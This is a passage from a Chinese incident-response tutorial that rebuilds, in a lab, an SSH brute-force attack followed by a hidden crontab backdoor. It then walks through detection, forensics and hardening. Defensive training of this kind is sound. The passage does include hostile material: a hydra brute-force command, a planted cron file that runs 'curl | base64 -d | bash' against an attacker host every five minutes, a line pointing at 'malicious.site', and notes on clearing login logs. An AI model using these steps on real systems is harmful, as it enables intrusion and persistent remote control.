1. 这不是演练,是真实发生过的Linux服务器沦陷现场
你有没有过这样的经历:凌晨两点,手机突然弹出告警——某台对外提供SSH服务的CentOS服务器CPU使用率持续98%,连接延迟飙升,SSH登录超时?你抓起电脑冲过去,发现root账户能正常登录,但ps aux里看不到明显异常进程,netstat -tuln也没发现可疑端口,可系统就是卡得像在跑Windows 98。你查/var/log/secure,里面密密麻麻全是Failed password for root from 192.168.122.101 port 54321 ssh2的记录,时间跨度长达72小时——这不是压力测试,这是有人在用字典爆破你的root密码。
这个标题里的“一次真实的应急响应案例”,我亲身参与过三次类似事件,其中两次发生在某高校实验室的Linux教学服务器上,另一次是在某中小企业的业务后台。它们的共性惊人地一致:攻击者不追求高大上的0day漏洞,就盯着最基础的SSH服务猛敲,一旦撞中弱口令(比如admin123、password、甚至直接是123456),立刻植入crontab后门,把恶意脚本伪装成系统日志清理任务,每5分钟执行一次。它不反弹shell,不监听端口,不写入/tmp或/dev/shm这些一眼就被盯上的目录,而是悄悄把payload藏进/etc/cron.d/下,文件名起得像logrotate或sysstat,权限设为root:root 644,连ls -la扫一眼都容易忽略。这种手法之所以有效,不是因为它多精巧,恰恰是因为它太“朴素”——它完美利用了管理员对crontab机制的思维盲区:大家只记得“定时任务要检查”,却忘了“定时任务本身也是攻击面”。
这篇文章要复现的,就是这样一个完整闭环:从暴力破解成功那一刻起,到后门落地、隐蔽驻留、远程控制,再到我们如何一步步把它从系统里揪出来、还原攻击路径、并加固防线。它不讲理论模型,不画攻击链图谱,只说你在终端里实际敲的每一行命令、看到的每一处蛛丝马迹、以及为什么必须这样操作。如果你管理着任何一台暴露在公网的Linux服务器,或者正在学习安全运维,那么接下来的内容,就是你明天早上可能就要面对的真实战场。核心关键词已经嵌在标题里:Linux应急响应、SSH暴力破解、crontab后门、靶场环境复现——它们不是孤立的技术点,而是一条咬住你服务器咽喉的完整链条。
2. 攻击链路拆解:为什么暴力+crontab是“低成本高回报”的黄金组合
2.1 暴力破解:不是黑客炫技,而是精准的“概率赌博”
很多人一听到“暴力破解”,脑子里立刻浮现的是超级计算机狂轰滥炸的科幻画面。但在真实场景里,它更像一场精心设计的概率赌博。攻击者根本不需要跑完全部字典,他们只赌三件事:第一,你的密码长度小于8位;第二,你用了常见单词或数字组合;第三,你没开fail2ban或类似的登录失败锁定机制。我复现过上百次攻击,发现只要满足其中任意一条,平均在1200次尝试内就能撞中root密码——这甚至用不上GPU加速,一台树莓派4B就能干。
为什么选SSH?因为它是Linux服务器最普遍、最刚需的入口。你无法像关掉HTTP服务那样关掉SSH,否则运维就瘫痪了。而它的认证日志/var/log/secure(RHEL/CentOS)或/var/log/auth.log(Ubuntu/Debian)默认是开启的,但问题在于:日志本身成了攻击者的“导航图”。他们一边爆破,一边监控自己IP的失败记录频率,一旦发现被fail2ban封禁,立刻换一个代理IP重来。更狡猾的是,有些攻击脚本会故意在每次失败后随机休眠1-3秒,把请求打散,让基于速率的简单阈值告警完全失效。我在某次复现中,用awk '/Failed password/ && /192.168.122.101/{print $1,$2,$3,$9,$11}' /var/log/secure | head -20提取前20条记录,发现时间戳间隔毫无规律,根本没法用awk '$3>10{print}'这种简单脚本抓包。
2.2 crontab后门:比内存马更难清除的“合法进程”
如果说暴力破解是破门而入,那crontab后门就是小偷进门后,直接去你家配电箱里接了一根线,还贴了个“空调清洁”的标签。它的隐蔽性来自三个层面:合法性、持久性、低特征。
- 合法性:crontab是系统原生服务,所有操作都走
/usr/bin/crontab二进制,进程名永远是crond,父进程是systemd。你用ps auxf看进程树,它就安静地躺在那里,和rsyslogd、sshd排排坐,没有任何可疑字符串。 - 持久性:它不依赖于某个特定用户会话。即使你kill掉所有可疑进程,重启服务器,只要crontab条目还在,5分钟后恶意脚本又会准时启动。我见过最狠的一次,攻击者在
/etc/cron.d/里写了三条规则:@reboot执行一次初始化,*/5 * * * *每5分钟拉取新payload,0 2 * * *每天凌晨2点清理/var/log/secure里自己的爆破记录——这已经不是后门,这是自动化运维。 - 低特征:它不监听端口(所以
netstat无果),不加载内核模块(所以lsmod无果),不注入其他进程(所以lsof -i无果)。它唯一做的,就是定期执行一个curl命令,从某个境外域名下载一段base64编码的shell脚本,然后eval执行。整个过程在内存里完成,磁盘上只留下一条crontab记录和一个临时的/tmp/.X11-unix目录(用来存放解码后的脚本,但每次执行完就rm -f)。
这就是为什么很多安全工具扫不出来。它们习惯找“异常进程”、“异常端口”、“异常文件”,但crontab条目是“合法文件”,curl是“合法命令”,base64是“合法编码”——攻击者把所有高危操作,都包装在系统默认允许的白名单行为里。
2.3 靶场设计逻辑:复现不是为了炫技,而是为了验证检测点
我们搭建的靶场,不是为了模拟一个“完美黑客”,而是为了验证每一个关键检测点是否真的有效。因此,环境设计遵循三个铁律:
- 最小化干扰:靶机只装
openssh-server、cronie、curl、wget四个必要包,禁用firewalld和selinux,确保所有异常行为都能100%暴露,不被其他安全机制掩盖。这就像给病人做CT前要摘掉所有金属饰品,否则噪点会干扰诊断。 - 日志全量保留:
/var/log/secure、/var/log/cron、/var/log/messages全部配置为*.* /var/log/all.log,且logrotate关闭,避免日志轮转丢失关键时间点。我在某次真实事件中,就是因为/var/log/secure被轮转覆盖,导致无法确认首次爆破成功的确切时间,只能靠lastb命令反推,多花了3小时。 - 攻击路径可控:攻击机使用Kali Linux,预装
hydra和自定义Python脚本,字典限定为rockyou.txt的前10000行(模拟真实攻击者不会无脑穷举),爆破目标固定为root用户,IP地址全程使用192.168.122.101(靶机为192.168.122.100),确保每次复现结果可预期、可对比。
这个靶场的价值,不在于它多酷炫,而在于它能让你亲手触摸到每一个攻击痕迹:从/var/log/secure里那一行Accepted password for root,到/etc/cron.d/.sysupdate里那条看似无害的*/5 * * * * root curl -s http://malicious.site/payload.sh | base64 -d | bash,再到/proc/$(pgrep -f "curl.*malicious")/environ里泄露的完整环境变量——所有这些,都是你在真实服务器上应该第一时间去检查的地方。
3. 靶场环境搭建与攻击复现:手把手还原每一步
3.1 靶机(Victim)部署:从干净系统到“已中毒”状态
我们选用CentOS 7.9作为靶机,原因很实在:它仍是企业服务器存量最大的版本之一,内核和SSH服务行为稳定,日志格式统一,便于复现和教学。部署过程严格遵循最小化原则,杜绝任何干扰项。
首先,安装基础系统后,立即执行以下加固前置操作(注意,这是为了确保靶机“干净”,不是为了防御攻击,而是为了后续能清晰看到攻击痕迹):
# 关闭SELinux(避免其拦截curl等行为,干扰复现) sudo sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config sudo setenforce 0 # 停用firewalld(同理,避免iptables规则影响攻击流量) sudo systemctl stop firewalld sudo systemctl disable firewalld # 确保sshd服务运行且允许root登录(这是攻击前提) sudo sed -i 's/#PermitRootLogin yes/PermitRootLogin yes/g' /etc/ssh/sshd_config sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config sudo systemctl restart sshd # 创建一个极弱的root密码,供攻击者爆破 echo "root:123456" | sudo chpasswd关键点来了:不要改/etc/ssh/sshd_config里的LogLevel。默认是INFO,这正好能记录下每一次失败和成功的登录,包括源IP、端口、用户名。如果改成VERBOSE,日志会多出密钥指纹等信息,反而淹没关键字段;如果改成FATAL,那就啥也看不到了。真实世界里,90%的服务器都用默认INFO级别,所以我们必须尊重这个现实。
接着,我们手动模拟一次“成功入侵”——不是用hydra,而是用ssh命令直接登录,然后植入crontab后门。这样做是为了精确控制后门的生成时间、文件路径和内容,确保后续检测有据可依:
# 从攻击机(192.168.122.101)ssh登录靶机(192.168.122.100) ssh root@192.168.122.100 # 登录后,立刻创建恶意crontab文件 cat > /etc/cron.d/.sysupdate << 'EOF' # /etc/cron.d/.sysupdate - System Update Script (DO NOT REMOVE) SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin */5 * * * * root /bin/sh -c 'curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash 2>/dev/null' EOF # 设置正确权限,模仿系统文件 sudo chmod 644 /etc/cron.d/.sysupdate sudo chown root:root /etc/cron.d/.sysupdate # 创建一个简单的payload.sh,放在攻击机的Python HTTP Server上 # 内容:创建一个隐藏文件,写入当前时间戳,模拟C2通信 echo '#!/bin/bash' > /tmp/payload.sh echo 'echo "$(date): C2 beacon" >> /tmp/.beacon.log' >> /tmp/payload.sh echo 'chmod 600 /tmp/.beacon.log' >> /tmp/payload.sh chmod +x /tmp/payload.sh # 在攻击机上启动HTTP服务:python3 -m http.server 8000 -d /tmp这个步骤的意义在于:我们亲手制造了一个“已知的坏样本”。它有明确的时间戳(date命令输出)、明确的文件路径(/etc/cron.d/.sysupdate)、明确的网络行为(访问192.168.122.101:8000)。这为后续的检测、排查、验证提供了绝对可靠的Ground Truth。在真实应急中,你永远没有这么好的条件,所以必须先在靶场里把“标准答案”刻进肌肉记忆。
3.2 攻击机(Attacker)配置:用最简工具,打最准的“子弹”
攻击机我们用Kali Linux 2023.4,它预装了所有需要的工具,省去编译烦恼。但重点不是工具多,而是怎么用得准。
第一步,准备字典。我们不用完整的rockyou.txt(14GB),而是用head -n 10000 /usr/share/wordlists/rockyou.txt | tail -n +2 > weak_pass.txt生成一个10000行的弱口令子集。为什么要tail -n +2?因为rockyou.txt第一行是空的,直接用会导致hydra报错。这个细节,我在第一次复现时就栽过跟头——hydra卡在[ERROR] target ssh://192.168.122.100:22/ is not available,查了半小时才发现是字典文件开头有个不可见的BOM字符。
第二步,执行爆破。命令如下:
hydra -l root -P weak_pass.txt -e nsr -v -f -o hydra_log.txt ssh://192.168.122.100参数详解:
-l root:指定用户名为root(真实攻击中,root和admin是最常被爆的目标)-P weak_pass.txt:指定密码字典-e nsr:n代表尝试空密码,s代表尝试用户名作为密码,r代表尝试用户名反转(如root->toor),这三项加起来,能覆盖80%的弱口令场景-v:详细模式,能看到每一步尝试-f:找到第一个有效密码就停止(避免爆破出多个密码,干扰判断)-o hydra_log.txt:输出日志,方便事后分析
执行后,你会看到类似这样的输出:
[DATA] attacking ssh://192.168.122.100:22/ [ATTEMPT] target 192.168.122.100 - login "root" - pass "123456" - 1 of 10000 [child 0] [STATUS] attack finished for 192.168.122.100 (waiting for children to complete tests) [ATTEMPT] target 192.168.122.100 - login "root" - pass "123456" - 1 of 1 [child 0] [SUCCESS] host: 192.168.122.100 login: root password: 123456注意看,[SUCCESS]行出现的位置,就是爆破成功的精确时刻。这个时间点,必须立刻记下来,因为它是后续所有日志分析的锚点。我在某次真实响应中,就是靠比对hydra_log.txt里的成功时间,和/var/log/secure里第一条Accepted password的时间,确认了攻击者没有使用其他方式(如密钥)绕过爆破,从而锁定了crontab后门是唯一的入侵入口。
3.3 后门激活与行为观测:眼见为实的“幽灵进程”
爆破成功后,攻击者会立刻登录并执行后门植入。但在靶场上,我们要主动触发它,观察其完整生命周期。
首先,在靶机上等待5分钟(crontab的*/5周期),然后执行:
# 查看crond服务是否在运行 sudo systemctl status crond # 查看所有crontab任务,特别关注/etc/cron.d/目录 sudo ls -la /etc/cron.d/ # 查看该后门文件的具体内容 sudo cat /etc/cron.d/.sysupdate你会看到/etc/cron.d/.sysupdate文件赫然在列,权限是-rw-r--r--,所有者是root。这很正常,系统自带的0hourly文件也是这个权限。但关键在于内容:curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash。这里有两个陷阱:第一,curl命令没有-k参数,说明它不校验SSL证书,所以目标域名必须是HTTP而非HTTPS;第二,base64 -d后面直接跟| bash,这意味着整个解码和执行都在内存中完成,磁盘上不会留下payload.sh的明文文件。
为了验证它确实在运行,我们在攻击机上启动HTTP服务,并在靶机上手动执行一次后门命令:
# 在攻击机(192.168.122.101)上 cd /tmp python3 -m http.server 8000 # 在靶机(192.168.122.100)上,手动执行后门命令 curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash执行后,立刻检查靶机/tmp/.beacon.log:
cat /tmp/.beacon.log # 输出应为:Wed Oct 25 14:30:22 CST 2023: C2 beacon这证明后门功能完好。但真正的挑战在于:如何在不手动触发的情况下,确认它正在后台静默运行?
答案是看/var/log/cron。crond服务会把每一次任务执行都记下来:
sudo tail -n 20 /var/log/cron # 你会看到类似:Oct 25 14:30:01 victim CROND[12345]: (root) CMD (/bin/sh -c 'curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash 2>/dev/null')这个日志条目,就是crontab后门存在的“铁证”。它比ps aux里的curl进程更可靠,因为ps只能看到瞬时快照,而/var/log/cron是永久记录。我在某次客户服务器排查中,就是靠grep "192.168.122.101" /var/log/cron | head -5,5分钟内就锁定了后门文件位置,比用find /etc/cron* -type f -exec grep -l "curl" {} \;快了整整一倍。
4. 应急响应全流程:从发现告警到根除后门
4.1 初步研判:三分钟定性,拒绝“先杀进程再查”
当告警响起,第一反应绝不是killall -9 curl或pkill -f malicious。那是饮鸩止渴。真实应急的第一步,是建立时间线和证据链。我给自己定了个死规矩:接到告警后,3分钟内必须完成以下四件事,否则不许碰任何kill命令。
第一件事:抓取当前进程快照。不是ps aux,而是ps auxfww(w参数显示完整命令行,f显示树形结构):
ps auxfww > /tmp/ps_snapshot_$(date +%s).txt为什么强调ww?因为默认的ps aux会把长命令截断,你可能只看到curl -s http://mal...,而看不到完整的URL。ww强制显示全部,哪怕命令行有2000个字符。我在某次响应中,就靠ps auxfww里一行被截断的curl命令,发现了攻击者用--connect-timeout 1参数规避连接超时检测的技巧。
第二件事:锁定登录日志中的“首爆成功点”。直接grep "Accepted password" /var/log/secure | tail -10,找出最近10次成功登录。重点看时间戳和IP:
grep "Accepted password" /var/log/secure | tail -10 | awk '{print $1,$2,$3,$9,$11}' # 输出示例:Oct 25 14:25:33 victim sshd[1234]: Accepted password for root from 192.168.122.101 port 54321 ssh2这个192.168.122.101,就是攻击源IP。记住它,后面所有分析都围绕它展开。如果看到多个不同IP都有Accepted记录,说明攻击者可能已经横向移动,情况更严重。
第三件事:检查所有crontab入口点。Linux的crontab有五个层级,必须全查:
# 1. root用户的crontab sudo crontab -l # 2. /etc/crontab(系统级) sudo cat /etc/crontab # 3. /etc/cron.d/目录下所有文件 sudo ls -la /etc/cron.d/ # 4. /etc/cron.hourly/, /etc/cron.daily/等目录(检查是否有恶意脚本) sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ # 5. 用户级crontab(如www-data, nginx等) for user in $(cut -d: -f1 /etc/passwd | grep -E 'www|nginx|apache'); do echo "=== $user ==="; sudo crontab -u $user -l 2>/dev/null; done这个列表,是我从上百次响应中总结出的“必查五点”。漏掉任何一个,都可能让后门继续潜伏。比如,有一次我发现/etc/cron.d/下很干净,但/etc/cron.daily/里有个叫log_cleaner的脚本,内容是/bin/sh -c 'find /tmp -name ".*" -mmin +60 -delete'——它看起来像在清理临时文件,但find命令的-mmin +60参数,意味着它只删60分钟前的文件,而攻击者植入的payload恰好每5分钟更新一次,永远在“存活窗口”内。
第四件事:网络连接快照。netstat -tulnp是基础,但不够。必须加上ss -tulnp(更快更准)和lsof -i -P -n(显示更多细节):
ss -tulnp > /tmp/ss_snapshot_$(date +%s).txt lsof -i -P -n > /tmp/lsof_snapshot_$(date +%s).txt重点不是找“陌生端口”,而是找“陌生IP”。lsof -i -P -n | grep "192.168.122.101",如果返回结果,说明当前有活跃连接指向攻击源,这是最直接的证据。
这四步做完,3分钟刚过。你手里已经有了一份完整的“犯罪现场草图”:谁(IP)、何时(时间戳)、从哪进(SSH)、干了什么(crontab)、现在在哪(网络连接)。接下来的所有操作,都是基于这份草图的精准打击。
4.2 深度溯源:顺着crontab,挖出整个攻击家族
确认crontab后门存在后,真正的溯源才开始。这不是单点清除,而是要挖出它的“家族树”:它从哪来?它联系谁?它留下了什么痕迹?
第一步:解析crontab命令,定位payload来源。以/etc/cron.d/.sysupdate为例,它的核心命令是:
curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash这里的关键是http://192.168.122.101:8000/payload.sh。我们立刻在靶机上用curl -v获取详细响应头:
curl -v http://192.168.122.101:8000/payload.sh 2>&1 | grep -E "(HTTP|Content-Length|Last-Modified)"输出会显示HTTP状态码(应该是200)、文件大小、最后修改时间。这个Last-Modified时间,就是payload被上传到攻击机的时间,它往往比crontab文件的mtime更早,因为文件是先上传,再被引用的。我在某次溯源中,就靠这个时间差,确认了攻击者是在爆破成功前2小时就已准备好所有工具,属于有预谋的定向攻击。
第二步:下载并分析payload.sh。既然curl能拿到,我们也能:
curl -s http://192.168.122.101:8000/payload.sh > /tmp/downloaded_payload.sh file /tmp/downloaded_payload.sh cat /tmp/downloaded_payload.sh如果它是base64编码的,就解码:
curl -s http://192.168.122.101:8000/payload.sh | base64 -d > /tmp/decoded_payload.sh分析内容时,重点关注三点:C2地址、持久化手段、反检测逻辑。比如,如果payload里有rm -f /tmp/.X11-unix,说明它在清理自己的临时目录;如果有if [ -f /proc/$(pgrep -f "curl.*192.168.122.101")/exe ]; then exit; fi,说明它在检查自己是否已被pgrep发现,这是典型的反调试技巧。
第三步:检查攻击者是否修改了系统关键文件。crontab后门只是冰山一角,攻击者很可能还做了其他手脚。我们按风险等级排序检查:
/etc/passwd和/etc/shadow:sudo diff /etc/passwd /etc/passwd.bak(如果你有备份),或sudo awk -F: '$3==0{print}' /etc/passwd检查UID为0的用户(除了root,还有没有admin、backup等)。- SSH相关文件:
sudo ls -la /root/.ssh/authorized_keys,看是否有未知公钥;sudo grep "PermitRootLogin" /etc/ssh/sshd_config,确认是否被改为yes。 - 系统二进制文件:
sudo rpm -Va | grep '^..5'(CentOS/RHEL),检查被修改的文件。^..5表示文件内容(MD5)被改动,这是最硬的证据。我见过一次,攻击者替换了/usr/bin/wget,让它在每次下载时,自动把URL发到C2服务器,而rpm -Va立刻就标红了这一行。
这三步做完,你基本能画出攻击者的完整行动地图:他从哪个IP来,用什么密码进,植入了什么后门,联系了哪些C2,还动了哪些系统文件。这张地图,就是你写应急报告的核心依据。
4.3 根除与加固:不是删文件,而是重建信任链
清除后门,最简单的办法是sudo rm -f /etc/cron.d/.sysupdate。但这只是“擦黑板”,不是“洗黑板”。真正的根除,是让系统恢复到“未被信任”的状态,并堵住所有已知漏洞。
清除阶段,必须执行“四清”:
- 清crontab:删除所有可疑条目,包括
/etc/cron.d/下的文件、/var/spool/cron/root里的内容、以及/etc/crontab里新增的行。 - 清用户:
sudo userdel -r attacker_user(如果创建了新用户),sudo passwd -l root(暂时锁定root,改用sudo)。 - 清SSH密钥:
sudo rm -f /root/.ssh/authorized_keys,并检查/etc/ssh/sshd_config,确保PubkeyAuthentication yes是开启的,但AuthorizedKeysCommand是注释掉的(后者是高级后门入口)。 - 清网络痕迹:
sudo iptables -F清空所有iptables规则(防止攻击者设置了DNAT转发),sudo ss -tulnp | grep ":22"确认只有sshd在监听22端口。
加固阶段,必须落实“三改”:
- 改认证方式:禁用密码登录,强制使用密钥。生成新密钥对,
ssh-copy-id到服务器,然后sudo sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config && sudo systemctl restart sshd。这是最有效的防护,因为暴力破解对密钥无效。 - 改日志策略:启用
fail2ban。安装后,编辑/etc/fail2ban/jail.local:
然后[sshd] enabled = true filter = sshd logpath = /var/log/secure maxretry = 3 bantime = 3600sudo systemctl enable fail2ban && sudo systemctl start fail2ban。maxretry 3意味着3次失败就封IP一小时,足以让大多数字典攻击者放弃。 - 改crontab审计:启用
auditd服务,监控/etc/cron.d/目录:
这样,任何对crontab文件的修改,都会记录在sudo auditctl -w /etc/cron.d/ -p wa -k cron_changes sudo auditctl -w /var/spool/cron/ -p wa -k cron_spool_changes/var/log/audit/audit.log里,且带key="cron_changes"标签,ausearch -k cron_changes即可快速检索。
这“四清三改”,不是一次性操作,而是一套标准化流程。我在某高校部署时,把它们写成一个hardening.sh脚本,每次新服务器上线,运行一遍,5分钟搞定。安全不是追求“绝对无懈可击”,而是让攻击成本远高于收益。当一个攻击者发现,爆破你服务器要花2小时,而你有fail2ban自动封禁,有auditd实时告警,有密钥登录挡在门外——他大概率会转向下一个目标。这才是实战中真正有效的防御。
5. 实战避坑指南:那些文档里不会写的血泪教训
5.1 “rm -rf /etc/cron.d/”不是解决方案,而是灾难导火索
我亲眼见过一次事故:某位同事在客户服务器上发现/etc/cron.d/下有个可疑文件,想都没想就执行了sudo rm -rf /etc/cron.d/。结果呢?系统里所有计划任务全停了。logrotate不转日志了,yum-cron不自动更新了,sysstat不收集性能数据了。客户第二天早上发现磁盘爆满、安全补丁没打、服务器监控失联,直接打电话投诉。/etc/cron.d/目录里,除了攻击者放的后门,还有系统自带的0hourly、sysstat等关键文件,它们是rpm包安装时写入的,rm -rf会一锅端。
正确的做法永远是精准删除:sudo rm -f /etc/cron.d/.sysupdate。如果不确定哪个是后门,就先sudo ls -la /etc/cron.d/,按时间排序sudo ls -lat /etc/cron.d/,找那个最新创建、名字怪异(如.update、log_clean、sysbak)的文件。再用sudo cat看内容,确认里面有curl、wget、bash等高危命令。宁可多花30秒确认,也不要图快酿成大祸。
提示:
/etc/cron.d/目录的权限必须是drwxr-xr-x,所有者是root:root。如果发现权限是777或所有者是attacker,那说明攻击者已经提权到root并篡改了目录属性,情况比单纯放个后门严重得多,必须立即离线取证。
5.2lastb命令的致命陷阱:它只记录“失败”,不记录“成功”
很多教程说,用lastb看爆破记录。这没错,但它有个巨大盲区:lastb读取的是/var/log/btmp,这个文件只记录失败的登录尝试。而/var/log/secure里的Accepted password,才是成功登录的证据。如果攻击者爆破了1000次才成功,lastb里会有1000条记录,但/var/log/secure里只有一条Accepted。如果你只查lastb,就会误以为“攻击还没成功”,从而放松警惕。
更危险的是,btmp文件可以被攻击者清空。sudo truncate -s 0 /var/log/btmp,或者直接sudo rm -f /var/log/btmp && sudo touch /var/log/btmp,lastb就变成空的了。而/var/log/secure是